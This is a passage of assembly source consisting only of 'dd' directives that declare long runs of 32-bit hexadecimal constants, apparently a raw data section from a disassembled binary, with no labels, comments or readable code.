		dd 0F7C20720h, 84A30BE5h, 0C884224h, 70EE726Dh,	0FECD9E2Eh
		dd 9FB87305h, 99C18440h, 3A7990CBh, 938B2D2Fh, 0AB00ABF2h
		dd 0C7EEE721h, 0F90CEB00h, 7AA9DB90h, 91481F56h, 75CAC0DDh
		dd 46F14B74h, 0A4C8B000h, 4DE73B63h, 7BB0CF1Dh,	0CC29A960h
		dd 0D063219h, 972F9F9Dh, 52902CF8h, 341E0051h, 0EEC784D6h
		dd 80D31A38h, 0ADDB756Fh, 3897728Bh, 4E80C985h,	0B37AD621h
		dd 59EC4B02h, 0F44F3F00h, 533DABB2h, 7361C02Bh,	89783394h
		dd 2E5580C0h, 60D3681Fh, 0D4C5101Ch, 120456D9h,	0E6A0AA49h
		dd 0F7662080h, 0AF930030h, 0A49485DCh, 3500C46Ah, 0FD1A3C95h
		dd 90E6B38Dh, 3A617678h, 0E903523Fh, 72ED4332h,	3CDD87A0h
		dd 0D8250804h, 18903F5Fh, 776F6Ah, 0B353B892h, 98235B78h
		dd 40FAFAEEh, 0E89D5700h, 55058796h, 0DC5F0033h, 0E18422D1h
		dd 6F001D70h, 0EDEF1AA8h, 0F35EA0h, 37BF8113h, 152FAC82h
		dd 58D51D2Dh, 5D200FCh,	0CBC9A998h, 0B200B689h,	0C8DC28F2h
		dd 1E632EB9h, 40FE6D86h, 0B1C93F7h, 0D8002441h,	61ECC5BCh
		dd 0F50C4Fh, 5EA11E52h,	0D7B9CD02h, 10878930h, 0D24F97h
		dd 0B7518D18h, 66021E43h, 0C028EE03h, 914E4D14h, 7DF58AFDh
		dd 0D93AA07Eh, 903A1A30h, 903E86h, 12F8F55Bh, 0AC0F2D11h
		dd 38CB4F06h, 2D8EE96h,	78393A89h, 92608807h, 0BD0FA65Dh
		dd 606C87ECh, 2E011485h, 0DBFC0033h, 0D83EB8AEh, 3D397304h
		dd 7F4C074Fh, 0BF1730h,	0ABA2CC2Dh, 26F40166h, 40D2DAE1h
		dd 737EC877h, 21823B00h, 24810834h, 188C0AEAh, 3EBF3D4h
		dd 84C27749h, 35BBFEA8h, 42308160h, 3A7DFE0h, 59C050ACh
		dd 7E892EE8h, 0CD58801Fh, 8C104F6Dh, 7C5479CCh,	8A7603C3h
		dd 483BC1C7h, 0C4E5B4C0h, 90261100h, 73DE5BE3h,	217500B9h
		dd 0BA6AACBh, 0BBE0B820h, 2207A0ECh, 0F4D0FB34h, 3C9BFF6h
		dd 3CB9FF56h, 1588B758h, 41C0CFF8h, 118A234Fh, 0A978A2h
		dd 0D99CC4E6h, 2297E458h, 0FB2610C0h, 2D75C2h, 939E8217h
		dd 0ADA6CEE1h, 0B038E7A0h, 0D42CF600h, 77C0CDEEh, 0EB0B00A5h
		dd 0B105956Dh, 60146D1h, 8B9EAF1Dh, 9080A1FAh, 3289BEC9h
		dd 0CB001641h, 0EA8E4A5Dh, 0EDCEB2FBh, 11E3ECh,	0D90F6F2Eh
		dd 0D6051EF4h, 8D35C31Fh, 1F955447h, 5513D340h,	350C0A5h
		dd 17C4BBBFh, 22E83C1Fh, 4FFCB282h, 48C0808Bh, 0F6EFD910h
		dd 3D2007A3h, 0C068FB1Ah, 0F115F34h, 0E6D43C54h, 0A84AA600h
		dd 0BCE842DEh, 0B5F230CEh, 0C2FAFBE8h, 8E757F7Bh, 3EDC5900h
		dd 79FD9EBEh, 0AF083CFEh, 21B01703h, 0BB986782h, 9503EB2Ch
		dd 0E5C8F7DBh, 0FF90F05Ch, 43530029h, 8A870F92h, 5001FD4h
		dd 0D1167C97h, 1280613h, 0CF01E853h, 8A8FD35Fh,	0B8CCAC91h
		dd 0D4014393h, 0BFB661CAh, 0A9338080h, 9DB16387h, 0EA8CD8A8h
		dd 0D10A8400h, 0C2F73951h, 952F0370h, 0A99D7552h, 5BD8D100h
		dd 51268718h, 0C888AB16h, 0B605D6h, 254E7F9Dh, 0C32442ACh
		dd 95334F00h, 0D396CBA1h, 0F9F100F4h, 0ABE8FBECh, 0DC30171Fh
		dd 0F29F5858h, 98BC6055h, 0A2F378F6h, 0D64CC2E8h, 3E3077FCh
		dd 0C0DEE01Dh, 7F487810h, 4E182882h, 0D3EE12D6h, 80300986h
		dd 0CB344838h, 0AE31F0FDh, 4E6EB30Eh, 0C8892AFFh, 0CC768100h
		dd 8082F89Ch, 0A3009328h, 0F198AB1Ah, 1E01906h,	97F371EEh
		dd 20A650C6h, 0C7024718h, 0BF43E527h, 88B080F6h, 0E41D8092h
		dd 0F348C38Ah, 0B2E06AEBh, 9B18421Bh, 0BC911F09h, 9E7A3323h
		dd 93B0EF48h, 204C1726h, 0CC5E2B70h, 0B29F090Eh, 0B2D1440h
		dd 714239h, 0D08F0F98h,	55FCAE96h, 78207B72h, 9C6D00F5h
		dd 0C09E1F3h, 0E402DE11h, 0A8DBA22Ah, 0A09A404Eh, 0C1C4C51h
		dd 0FE1C200h, 1D359F56h, 0D11C5AFAh, 83807CFCh,	1E7B66DEh
		dd 96CAEABh, 562EECDCh,	0E00E9C20h, 7024D2B4h, 2B00DCD3h
		dd 24C59B87h, 4E4F0034h, 52433F8Ch, 0BB00E379h,	0A2190176h
		dd 6D55F7h, 31DA8A71h, 0F64B04E8h, 960B5715h, 0B54A078Ch
		dd 1C5199C8h, 9C432788h, 14F49017h, 85BB1F7Ah, 0E031C7DBh
		dd 59C6000Eh, 67141A7Eh, 7BDA710Fh, 8F570C05h, 0A0400BA0h
		dd 6CC28673h, 83B0A8F3h, 0FB5A39D9h, 29122A82h,	0D840A42Bh
		dd 131A7E9Fh, 87029851h, 4D93729Fh, 8DEED857h, 0E8DB12C8h
		dd 79F80390h, 37C06AC6h, 0B5207B42h, 48BF124Dh,	12A0037Dh
		dd 0F4C0B482h, 921FC698h, 97C0CC13h, 2ADA2131h,	0F8C1035Ch
		dd 64EC6683h, 40A9BA80h, 76E2C902h, 63E4287Ch, 0FD512B94h
		dd 541F3A90h, 0C72A00DEh, 6A10293Ch, 4298181Eh,	4E15807Ah
		dd 77AF12CBh, 0A0E3006Eh, 0F0C5A1C6h, 8A3872D4h, 5D6A805Ch
		dd 2859CC88h, 4AC00083h, 0F7FDA3B0h, 580033CDh,	82F2F4C9h
		dd 0F063138h, 63A272D3h, 0D5DD1C40h, 5071886h, 0D1F86924h
		dd 559C6070h, 0C3A00058h, 50ECE638h, 2B129514h,	0CC0DED88h
		dd 4035C9B4h, 9A518ED4h, 0D228004Ch, 1491921Bh,	660067A3h
		dd 52F9D997h, 0A8E298DCh, 137F4D18h, 41A6418Bh,	6B60B838h
		dd 264224Bh, 6301F36h, 60E062E7h, 0B0A5A959h, 0E0124C68h
		dd 0D25589DEh, 0E20C6023h, 50E0CA94h, 0EE0035B0h, 0E442FC4Dh
		dd 3DAFF55h, 59D3A56Bh,	95F0C783h, 7E588C8Ah, 2104DEA8h
		dd 84808098h, 0F172B028h, 37002467h, 0C3E4E295h, 30030D5h
		dd 0FF97D12Fh, 6A7FBFh,	9A6FE7C9h, 0D948E631h, 0BE0194A5h
		dd 9A0BF8D1h, 642DC4h, 0A1441092h, 261F848Ch, 6957E701h
		dd 0D999C97h, 38CD2BDCh, 6C02EF14h, 0FF490F1h, 73CAAFE0h
		dd 0C7B03Dh, 0D2BC9699h, 0C8301Ah, 0AE83AD33h, 28F6DEA6h
		dd 2697BD0Fh, 0A0AAE181h, 2E80DC8Fh, 0DDA6E798h, 0EA00ED83h
		dd 9DFDCAD0h, 7199468h,	7F3ABE7Dh, 0EBE5201Ch, 0D8489C9Fh
		dd 0F1F7194Ah, 0D68027A1h, 2FB0C025h, 0DB027A12h, 765634F5h
		dd 78A8E018h, 0CC4C00A8h, 9EFBB463h, 0E900ADE8h, 0E3D09AF4h
		dd 0FB173F09h, 71D812EDh, 28C800C2h, 2CBDD3B3h,	0E8C08D57h
		dd 1099E87Ah, 0ED3900BFh, 78E2D076h, 0DF00ACD2h, 3A66A0F4h
		dd 317B3D0Eh, 6E9867CBh, 455ED49Ah, 30002AECh, 436DB0FBh
		dd 1F7DD996h, 0C0BF3E75h, 3F6F4C86h, 77C4ABEh, 35AC8000h
		dd 0E09479C8h, 7ED705A4h
		dd 8187FE95h, 80E11A75h, 75FBEBB8h, 0E4E87CE2h,	53DA00A7h
		dd 64BE998h, 913D4EB5h,	231B008Bh, 78D91D56h, 0C9730045h
		dd 0C194F47Ah, 0A9300D28h, 461BA8E8h, 445100D6h, 0F1320FEBh
		dd 0B70AE4B0h, 0D89A8EAEh, 5934E880h, 3D31BF2h,	0DE0975D7h
		dd 20A8DCB0h, 5E0121EDh, 2065935h, 9E404EBFh, 85AE84h
		dd 9B935542h, 0F7F9189Ah, 0CB717B00h, 0F34FEC04h, 5CF0087h
		dd 0ACE5F295h, 0C80048B6h, 39A76B16h, 7202D212h, 0EEE660A4h
		dd 0CE459487h, 4C2F9F0Ah, 0F240602Bh, 3E4692F0h, 9E80CD6Ah
		dd 37F6F30Ch, 840EAF6Fh, 0E006BB7Fh, 7DF1C6D4h,	4423F762h
		dd 6B9DEB00h, 7557014Fh, 2BD94303h, 0F85ADA4Ch,	7007C88Fh
		dd 9A80A0B3h, 0BFB92404h, 87FF00C8h, 24941B42h,	28C07B15h
		dd 62768E48h, 40334D7Fh, 3DF0444h, 5B03A409h, 0FF804CDCh
		dd 0A7001730h, 0F0E89DA0h, 81D8BFh, 63CB41FAh, 0F5A8C19Ch
		dd 0C8F498A1h, 90001148h, 4F7CE366h, 0BD3DB4h, 46D1B3F6h
		dd 2570520Bh, 0E92FC700h, 78B48173h, 91621604h,	46F90053h
		dd 311EC42Bh, 3AFFF00Ah, 3592D023h, 0D91CCE00h,	0E73CB1Bh
		dd 90BC8C1Fh, 0B0119187h, 2ADBE4C7h, 17588A0h, 0EDC2BA00h
		dd 606D645Bh, 6CAD3AFDh, 0E8242183h, 7D136FBh, 0F432D4DCh
		dd 0B888C403h, 0FB3F1B04h, 94E6EAA1h, 7CB90094h, 73FC1C93h
		dd 313B704Fh, 0A16D09FFh, 0C1A3805Ch, 9649C6h, 0DF9046B4h
		dd 0E9CCB20Dh, 3BBAECE5h, 5D01977Ch, 0D9D4ACD5h, 0BD20FF30h
		dd 9EC100E2h, 0EA256DB3h, 517B765Ah, 1A947800h,	669B2802h
		dd 0CF43048Ah, 90C299EEh, 0B7C606F0h, 98A65B14h, 646F01C8h
		dd 27921153h, 98F2BDD4h, 8ED61348h, 863C4030h, 92748479h
		dd 6CBD40C1h, 87D05DC0h, 77E4E2A4h, 19973BF6h, 41104480h
		dd 48F28B1Eh, 0D9DF60F3h, 0BDF0A600h, 4FCD05ABh, 1A9D24D5h
		dd 945E50A0h, 0B0B8E44Ch, 62BDD95Ah, 8758601Bh,	691C6440h
		dd 0B4E42D00h, 0DBBF7020h, 2295008Eh, 0CF5CE06Bh, 9CA0EE27h
		dd 0D060DD13h, 3F2ECB60h, 0D33000C5h, 8D4F69Ch,	0A4E2B547h
		dd 6612CF00h, 645A97DBh, 0E00B15C1h, 5C513867h,	0D380DC23h
		dd 866F6D9Ah, 0B9BA2F00h, 0EC078DE5h, 0C0916098h, 8771995Fh
		dd 63905500h, 0FB06333Ch, 2A170022h, 4757ABB4h,	0A5017709h
		dd 99D26119h, 0ECF12037h, 148E3C20h, 0C0D487B1h, 5FCB3500h
		dd 431F21F8h, 76D25D00h, 3AB7B55h, 0E91B0017h, 366A165Ah
		dd 0CD1E8B0Dh, 32001328h, 0C420E130h, 4F800A6h,	3F1EDC6Ch
		dd 77011FEDh, 35A2436Fh, 36C17F7Dh, 50C09844h, 2A5E5Ah
		dd 830A315h, 94B1C2BCh,	0CC79300h, 0F71E7C75h, 490B032Eh
		dd 8C15C905h, 80200EA2h, 7E4E617Eh, 0C7F0A960h,	0D6EF2110h
		dd 7CD18F61h, 0F3E49026h, 29B41D5Ah, 36994079h,	452F38E1h
		dd 0D63B9F00h, 742431F4h, 0DBF53FE7h, 52D1A080h, 7C12E3DDh
		dd 0CC3D4A00h, 123FC93h, 0EDD905C1h, 43632B24h,	4A52CE4h
		dd 0C40091FCh, 0D357D51Dh, 0C87346B8h, 9C025B0Fh, 5FA7600Fh
		dd 0C96EA63h, 15452B35h, 6000DC24h, 13AF2DBDh, 0CE8C39Eh
		dd 0D6F2917Dh, 0C1141650h, 7CF48E34h, 77A2CF03h, 0FD1A3B8h
		dd 0DA57EE71h, 0EA480776h, 54600075h, 531C0DF2h, 0CC26AFFBh
		dd 1865584Ch, 0B898F564h, 0AC2A0433h, 4F039CC0h, 4D86B07Ch
		dd 47F2E797h, 866C434Ch, 581E5821h, 4A31DA80h, 0C400FD6Ch
		dd 0C06F7837h, 286195Ch, 1B99A9E0h, 95C0AC77h, 0D20BA04Eh
		dd 99DD6E8h, 9A30B490h,	61D703A0h, 961E3038h, 0CA01A000h
		dd 6FBDD1E9h, 904649ABh, 41AF7C00h, 33B3D581h, 726DE70Fh
		dd 20A581D8h, 75CC7322h, 65C0EB2h, 58402923h, 0DBFA307Ah
		dd 0E1695A00h, 0E81D3EB5h, 0A4275C20h, 0E195000h, 0D4D73BECh
		dd 0BC04C926h, 86802807h, 3856D1B0h, 0D28B3D84h, 0B78D1782h
		dd 18EAC4EFh, 850E8812h, 411253C0h, 8828699Ch, 1C2ED88Fh
		dd 75008C90h, 0F99103BBh, 609217h, 80278122h, 9B359041h
		dd 0B80F3924h, 84BDD50Ah, 7D8D8139h, 0F5FC1D96h, 0C5000826h
		dd 1316F89Eh, 0F0122297h, 4440DE4Dh, 89A40EC4h,	3CBC7F91h
		dd 0FA088Fh, 0C3629EAFh, 418DA61Dh, 1E40605Ch, 0BC8EBFh
		dd 7D148631h, 0A7BB967h, 40EB3908h, 0ED700044h,	60F533A4h
		dd 6BD1E600h, 40831E26h, 0F4E3F07h, 0ADA18C0Fh,	0E8CCC93Fh
		dd 0F2791049h, 0A675E880h, 0D4001170h, 0A128C821h, 4C85515Dh
		dd 0C3043CE9h, 9038EC7Dh, 2B1EE830h, 0C088C632h, 82D065E7h
		dd 514A4E9Ch, 489A79C1h, 43020DACh, 79DA953h, 72848095h
		dd 6E3CA4h, 85EBB57Ch, 0A16A9FABh, 84471312h, 0ECBD3440h
		dd 0E2876C2h, 3A222A69h, 0CC4AD8A2h, 0D2038CEBh, 8BF6DBDCh
		dd 0FC47F19Eh, 18722C75h, 0E5221371h, 0FB502002h, 0F800B570h
		dd 0D3678AFEh, 94A1A0EBh, 0D4A8E314h, 8251BDA9h, 0A5A04BF9h
		dd 430C4AE8h, 5207C870h, 0CFE50581h, 196D70Ah, 0FE721AE8h
		dd 1EE03A9Dh, 1D2CAE1Dh, 0E634DC6Dh, 0B21930B8h, 0B54D2032h
		dd 0F9F301F4h, 3783D534h, 30CCFFF5h, 7CA26115h,	70EBDE42h
		dd 0EF025F74h, 87142E2Ch, 619842A8h, 0F8809EBCh, 8E937848h
		dd 17A18BBh, 0DC7A48h, 1FE8F686h, 42E2DC2h, 0F2BBF0Ch
		dd 9B088026h, 0BD391E19h, 958600B7h, 654BA266h,	6A0B1D1Fh
		dd 0F0E44F9Dh, 3D1E27A0h, 0AF1875EDh, 0E3B0E7A5h, 0E0DA02D5h
		dd 0B8CEB582h, 0CBE144A0h, 2D169704h, 2852FE64h, 30C44089h
		dd 11A900DBh, 1945053Bh, 4E0A7513h, 0C8A2FF90h,	4A7BD073h
		dd 5ED01DCh, 53683BD8h,	88F503E5h, 20F779Bh, 0B0DB459Dh
		dd 0FC8094F6h, 3B3AC9E6h, 965D4101h, 0EF7C6436h, 0C100305Ah
		dd 359DE78Eh, 0DE004318h, 97A2B76Bh, 1C46057h, 8C50B9C2h
		dd 717B9AD7h, 1BC0B78h,	0D27A2E54h, 68FEC9ACh, 3DDBBB08h
		dd 34545E82h, 0C8FF4B2h, 0D37F5A4Dh, 6C2C29C8h,	0FF00B123h
		dd 4B480D3Dh, 42530B38h, 0F898435Fh, 0E898637Bh, 0E394DB00h
		dd 0C5C2752Ch, 0F4224F7h, 0CF970080h, 9BAF6932h, 0C030C029h
		dd 20E8130Bh, 0B9573648h, 0BEA7031Ah, 6F56F869h, 2C3F86A8h
		dd 540AAF2Ch, 1C167DE0h, 0BB15002Eh, 9BB2ECFCh,	0EA00FB51h
		dd 0A66ED7C0h, 91B9091h, 8CB3A364h, 80071444h, 99B50F03h
		dd 1FB47FD7h, 410028B2h, 122F2CC7h, 0A3137190h,	7481E498h
		dd 97C8BCB7h, 7098C2h, 0B495E644h, 0C8B1888Eh, 50B2EB72h
		dd 104FBB09h, 14EC4C61h, 3404C6C1h, 48540573h, 1C8B7D42h
		dd 0EA2494Ch, 986E9CC2h, 496EA400h, 0BF8AD996h,	0F4C949Ch
		dd 0DFE22DDBh, 3AE07C13h, 48F038F3h, 0BA88A600h, 0F6CE38Dh
		dd 0C9E72C63h, 5B100080h, 0C4AF8C23h, 1C071096h, 0FF507207h
		dd 1C5B6C6h, 0C9D7DA9Ch, 24862C80h, 0AD1C2694h,	1D00953Fh
		dd 84D25AB0h, 262C98E5h, 8130DB7Ah, 1BF9EA4Ch, 807038B4h
		dd 2CBDC3EBh, 0C48C4CABh, 0B4F03515h, 3EEF9D00h, 799A493Bh
		dd 10294D05h, 0B8401183h, 88468177h, 1F78B0FDh,	80317AA5h
		dd 64B25ABBh, 9C187861h, 942EF671h, 8D290056h, 9B2BCF67h
		dd 6C2EED66h, 0E300DBFBh, 0DB1A540Eh, 49870002h, 0EBCB8F69h
		dd 14F4AECAh, 0B86D6301h, 0A98BCD5h, 266A8840h,	2BEE02D2h
		dd 0AB61ADA4h, 7E225440h, 480C39FFh, 1F8C4414h,	0CD4C33F8h
		dd 149A0558h, 54DCF496h, 0C0BC2506h, 0F72BD080h, 31004C0Fh
		dd 77A413B9h, 25D384FBh, 70004219h, 1210F9ABh, 76DE8502h
		dd 0CE92BE25h, 21C50184h
		dd 0D5D94366h, 631031DDh, 8652C08Ch, 4C25F61h, 0B7ADAEE6h
		dd 50ECF1F8h, 0EF9AF368h, 0A5B45B0Eh, 290C5428h, 29006CCAh
		dd 0BE2EB10Dh, 0E0660099h, 7FD4F965h, 0A7587C86h, 0B8809318h
		dd 3A520299h, 588B0488h, 9880EF0Fh, 0BB6B4BBFh,	71F8FF00h
		dd 8FAEEC4Ah, 6CD90045h, 0F52248FEh, 332A82EDh,	508AB013h
		dd 0BA139066h, 342028FCh, 4B8DC53Eh, 890C4964h,	4B1994ACh
		dd 2D009498h, 88D74A73h, 0B8547Fh, 2407A1F2h, 7AB358C6h
		dd 0FFC2FB00h, 96F33225h, 6AE51F50h, 19313C1h, 0BCD4CF9Ch
		dd 0C605C0C3h, 7CE68500h, 0E99DDBCEh, 0E890A968h, 0F096868h
		dd 58C0CFC8h, 0B902D474h, 65916A78h, 0A38460D1h, 4ECD3F5Ch
		dd 0FC735C7Ch, 0BF3C8094h, 8FAF1F89h, 0A5E3E805h, 0B14C3098h
		dd 0D441E407h, 62003FEFh, 218DBD3h, 81E038A5h, 0D4A0C658h
		dd 51D060AAh, 6C00D873h, 76B13C43h, 9A08B40Dh, 86D709F0h
		dd 1020BB1Bh, 0B6D2676Ah, 0C6C2C900h, 6D53D98Eh, 0A9360F8Fh
		dd 640103Bh, 9FDD27AEh,	1C60EB4Ah, 0C0ADE673h, 7C5F2049h
		dd 762C5DB0h, 0EC029897h, 8413D5F2h, 1880BFF0h,	0BCA6EE3h
		dd 10B0C9BBh, 0EEFA380h, 2A030830h, 7E43895Fh, 4122D099h
		dd 939E00C2h, 0C0BB2DDFh, 0B80085B1h, 0CE47844Ah, 1434DBB4h
		dd 9B41ACCBh, 0AC83500h, 0D0C57B26h, 97691107h,	547029AFh
		dd 125844Ch, 6D05995Dh,	0EC1803FFh, 3B000B9Bh, 26095C1Ch
		dd 1C5B44FAh, 402A5663h, 78A55E3Eh, 3373C861h, 385813Ch
		dd 0D454B082h, 4FB9B879h, 0E9F100B6h, 0CC095F43h, 0CE3FA13Dh
		dd 105D30AFh, 1EE797h, 2EE60DE2h, 66484A62h, 0AB841800h
		dd 898356D6h, 6F3B00B3h, 0DFCFC152h, 9703704Bh,	548A77FFh
		dd 0D25EB825h, 0C19000C8h, 5F2E4A6Dh, 311F733Ah, 1E0163CFh
		dd 2D89AEB4h, 0CC72C0h,	56D5A7B2h, 30ED95DBh, 0E7659907h
		dd 0A231BC21h, 7BFC800Ah, 3566001Ch, 70DE7711h,	0F2093F71h
		dd 854D0304h, 24C099EFh, 63C7FBh, 0E7CFF716h, 0F0039087h
		dd 0F6758105h, 0C0AB41E2h, 13DE5604h, 11933B12h, 6500B4A8h
		dd 6CC80152h, 0E500A6C3h, 0A9CC493Ah, 7B3F7431h, 12DF01D5h
		dd 63507A20h, 95D30ACh,	0CD41B40Bh, 5CB980C4h, 4EE9EAh
		dd 0F05995B2h, 0BFE073AEh, 7C77F148h, 56D3C00h,	34C66E44h
		dd 521C008Dh, 26AFBE47h, 4E01EDEEh, 93028A2Ch, 0F30E216h
		dd 8E59000Eh, 0B647DEFBh, 0C300626Eh, 73AB23E3h, 3353648h
		dd 0CE0C4FCBh, 0AC90F3D7h, 2E0EE7E5h, 1F8C478Eh, 0F2DAD870h
		dd 917C004Dh, 0A4AAF7C9h, 0E503AE43h, 30F0FB1Ah, 0A08003B2h
		dd 8DEA8B03h, 0E0E78CF0h, 2DAF400h, 0C365A444h,	0F6B20014h
		dd 38B13B70h, 850CA11Ah, 70E8BF5Fh, 625D0164h, 9030EBE7h
		dd 4DA1810Dh, 5A82113Ch, 60BB04CCh, 0D9394964h,	3818452Eh
		dd 0F581168Fh, 9D85000Ah, 6C531EBDh, 20F27B0h, 2019A439h
		dd 2F9C7BCFh, 4250006Dh, 0A2581A6Ah, 97EA4DECh,	41D9B403h
		dd 7BC07E06h, 60A50759h, 307BD7AAh, 96C183F4h, 0B170CD31h
		dd 1FDC1AB4h, 5ED90077h, 40736BF6h, 2000E1Eh, 0BD231516h
		dd 987590h, 1CD94165h, 2B7EB00Fh, 7D97BA03h, 0B156CCh
		dd 0F36906B8h, 0A232DD63h, 6C57B207h, 0DB65EB59h, 889C9800h
		dd 307C6E0Ch, 24983901h, 307A4FEAh, 0AF0A82FDh,	45E01657h
		dd 0ABA48048h, 0EA69AF2Ah, 83974C00h, 5F6780D3h, 2D5A01BDh
		dd 616F6A8Eh, 93988A8Dh, 5884BC10h, 48C00F7Ch, 12C51CEh
		dd 80FBA4D8h, 50014E09h, 0C9C1EFC8h, 0F4771C0Fh, 0F154C06Bh
		dd 486F34C2h, 41293C5Eh, 64D105E8h, 0E9D84D8h, 0A1D8A7DCh
		dd 170DF7FFh, 0AEDF2E7Eh, 20F059B0h, 7707E705h,	0B04406CBh
		dd 86C7F370h, 83710074h, 7C6F5795h, 0CF3945A4h,	0FD4F17A7h
		dd 0D550A500h, 14E1E9h,	6181BA51h, 41EA3BF3h, 0FF014716h
		dd 0B2EF0Fh, 650AEE25h,	0FE680544h, 40A47197h, 3BB1CEECh
		dd 8300585Ch, 0E4C8FB50h, 16201B5Eh, 1F66DDh, 68E63ECFh
		dd 3B03165Bh, 0F075A799h, 0D0FF8810h, 27170D5h,	42BEEE30h
		dd 8F8123C8h, 34E71ACBh, 3A007538h, 0D91B7D65h,	7FB5957h
		dd 0C90F1FEAh, 537210BBh, 0F71E7C61h, 0D341227Ah, 0A11E2DAh
		dd 0EC8FC20h, 0CC04CEA9h, 9B517E5h, 0B820F3A8h,	54DBD1D3h
		dd 0A271CF05h, 64805B05h, 913A92B3h, 0C3BF4F0Ch, 0D5FA2C89h
		dd 0BF6FD201h, 64E1B9ABh, 3366D892h, 9391E6D8h,	224BDCEEh
		dd 0E08EB429h, 0C300802Ch, 0EF157838h, 9D101D53h, 192F4364h
		dd 0E7A0969Fh, 9401938Eh, 6DF64F65h, 74308CEEh,	849807h
		dd 0F185B61Dh, 0E4D83D22h, 8F43580Ch, 0BE5E84Dh, 40DAA14Eh
		dd 8CFE4080h, 53002213h, 2378C32Fh, 0BC02A80h, 0F0CCDF70h
		dd 0BDD95380h, 0E426527Eh, 12805C05h, 13E1C52Dh, 9FB42E23h
		dd 58B90DCBh, 0CDFED8E0h, 0E0864893h, 24A10B7Ch, 27F5DFh
		dd 9AEB068h, 0D0001825h, 2B346C7Fh, 3671961h, 84947CF9h
		dd 500063C9h, 8C3178D0h, 59488Fh, 0B39E567Bh, 928BEE9Ah
		dd 3C532078h, 0C6437838h, 0F408ED14h, 89AD9300h, 0DA3D3649h
		dd 0F85119CCh, 1D67A96h, 0AE150FE9h, 0D025AC1Ch, 0A8497185h
		dd 141A0060h, 346BF93Ah, 11620009h, 597237B3h, 210FA294h
		dd 41E1B04Fh, 0B8D78FDEh, 0A0D0A4DFh, 99FCA946h, 984C4FE8h
		dd 6B094811h, 20B587F8h, 1B5D3144h, 0E06CB0DFh,	46F0ABFh
		dd 70C05336h, 0F105E210h, 0AAE5D801h, 77DC44Fh,	4A001770h
		dd 0B8282B0Dh, 0CA270300h, 2A2080EBh, 0E738F5C0h, 0EE315F00h
		dd 51D1A21Eh, 5D4803DDh, 0AC453C17h, 0A8F233F0h, 7EE6DF09h
		dd 50FC0806h, 0D600EC24h, 0E843AEB2h, 294B2CFh,	0CE88A649h
		dd 8C471546h, 736940Eh,	23FEC3A5h, 98FD821Ah, 7C4910Dh
		dd 0B90F31E4h, 4B7E60D1h, 5C608486h, 0AE579068h, 2D8A0950h
		dd 301064D2h, 0BC016AD4h, 0EA420166h, 0C5D44C02h, 1F1400B5h
		dd 0FC13AE63h, 80C110CFh, 50437A81h, 59B032h, 80C7F661h
		dd 26B85533h, 0A714E808h, 890C7CAAh, 2681800Ah,	731E329h
		dd 9871E8DBh, 0C08F55B4h, 0EBA34618h, 79E2140Ah, 803DAC6Eh
		dd 0DC1AC9FFh, 48294912h, 180424CAh, 9017419Bh,	5390203Ch
		dd 8A583EE6h, 2AC6A0BCh, 42ED007Ch, 3F8906F8h, 0BF2AF34Eh
		dd 0AA53884Dh, 9C167DC4h, 0F700D013h, 999FD317h, 93C70FC6h
		dd 4780A153h, 85E1DA89h, 609D781Ch, 0F7B1D883h,	365D9854h
		dd 64485CB0h, 99D62F00h, 22DF9E68h, 4FC6811Dh, 2B339F07h
		dd 4A5FB2F0h, 663C3214h, 0A4C8B468h, 9040DEA5h,	0DD0A007Ah
		dd 860E40B6h, 54303FA1h, 3C0BF816h, 383A00E8h, 0D7628AF4h
		dd 7B51E4C0h, 7A5040B8h, 9900BCC1h, 8E2BE960h, 7FA0D6h
		dd 0E4B27906h, 8CF5121Ch, 83BAED00h, 4FD16620h,	0EA7C0078h
		dd 6A840F44h, 0A50134D3h, 74F350E8h, 7C62F0D6h,	0C018A169h
		dd 0FA2EABD1h, 0F8801447h, 8AC63BFCh, 0A45A48A4h, 0BC227700h
		dd 0A0F19361h, 0BE31ED0Bh, 801812D8h, 787C4C04h, 0DE760034h
		dd 0FCC96B70h, 4F26374Eh, 3A8018F3h, 7ED6F4A2h,	3BA0000Bh
		dd 0E5879CD9h, 0A47A7D72h, 0F4991D2Ah, 17CE913Bh, 480E9D55h
		dd 184321DAh, 0DCCC64BEh, 39283B3Eh, 8CCA3C80h,	7ED24BFAh
		dd 6A938C0h, 0C73EC727h, 10560CE8h, 6E6A490Eh, 586CC948h
		dd 0C670E788h, 2EB8F4B9h, 0C8C99Dh, 0B318FBB4h,	500EDB2h
		dd 9C2C3D70h, 85411Fh, 5BC73CEEh, 765DD20Eh, 903AA892h
		dd 693530ABh, 6CE7E4h
		dd 3C3E264Bh, 62400DD4h, 1878BB5Ch, 9369B62Fh, 3078B81Eh
		dd 0FD918EB2h, 0CE017C62h, 17AE6678h, 44F8C9DDh, 0D7910BC0h
		dd 78A0E7A0h, 0EEE26140h, 64D4B912h, 98223C35h,	4D12200Ah
		dd 0E0902F41h, 7C970CB1h, 48468023h, 60B04C30h,	0CD622BA3h
		dd 0DC8CDEB0h, 140800B3h, 0F3D7FC89h, 3261E899h, 0F61009DBh
		dd 59399FD6h, 65298FEFh, 105E600Bh, 966F02B0h, 0E6CB002Ch
		dd 6220B652h, 81582772h, 9C070078h, 1FF748FCh, 1389ECAEh
		dd 0C45D8E3h, 8790BA12h, 0B36D011Fh, 0AC219303h, 0C5B82E11h
		dd 98390B9Ah, 0A4075018h, 50E4021Dh, 0F0FBCBh, 791D2120h
		dd 12B90008h, 0E2C09AC1h, 36008E95h, 49133FAFh,	166ADAD4h
		dd 12348A22h, 81283299h, 0DADDF980h, 4C0A5623h,	0A874551Dh
		dd 7901386Ah, 0B01CF213h, 0F3811073h, 9CC94ED3h, 0D281B2C8h
		dd 0E91FEF1Ah, 5EB4B080h, 236B6D45h, 50E82F53h,	61060A14h
		dd 127D79FDh, 92370150h, 2D018ACAh, 2B99DCB9h, 5DC09C5Dh
		dd 0F7320BDCh, 0EE880552h, 30853C68h, 60597A31h, 0CD00D7A6h
		dd 0DEAE3C08h, 39D8BB20h, 89801978h, 3F3DBA33h,	6395699h
		dd 0C6A594A4h, 4F9600A0h, 5BBADD58h, 0C10051Fh,	0C2256075h
		dd 49C03197h, 6009F36h,	7FF18016h, 0E7B14Ch, 8D855DE5h
		dd 0BAE142CCh, 9B5A2300h, 36157BF3h, 0C29200EEh, 3EF51B19h
		dd 8B005CE3h, 2FE57FB7h, 30B42Ch, 6136A7AAh, 995AAB3Bh
		dd 6B40CF07h, 0CA9023BBh, 133C57ACh, 0D1FE88h, 6994F926h
		dd 0B507145Dh, 0D47D9993h, 83C19B64h, 67E8F18Ch, 33D70002h
		dd 2D763B04h, 6007EE6Bh, 72435F07h, 5DA93761h, 0D3AC740h
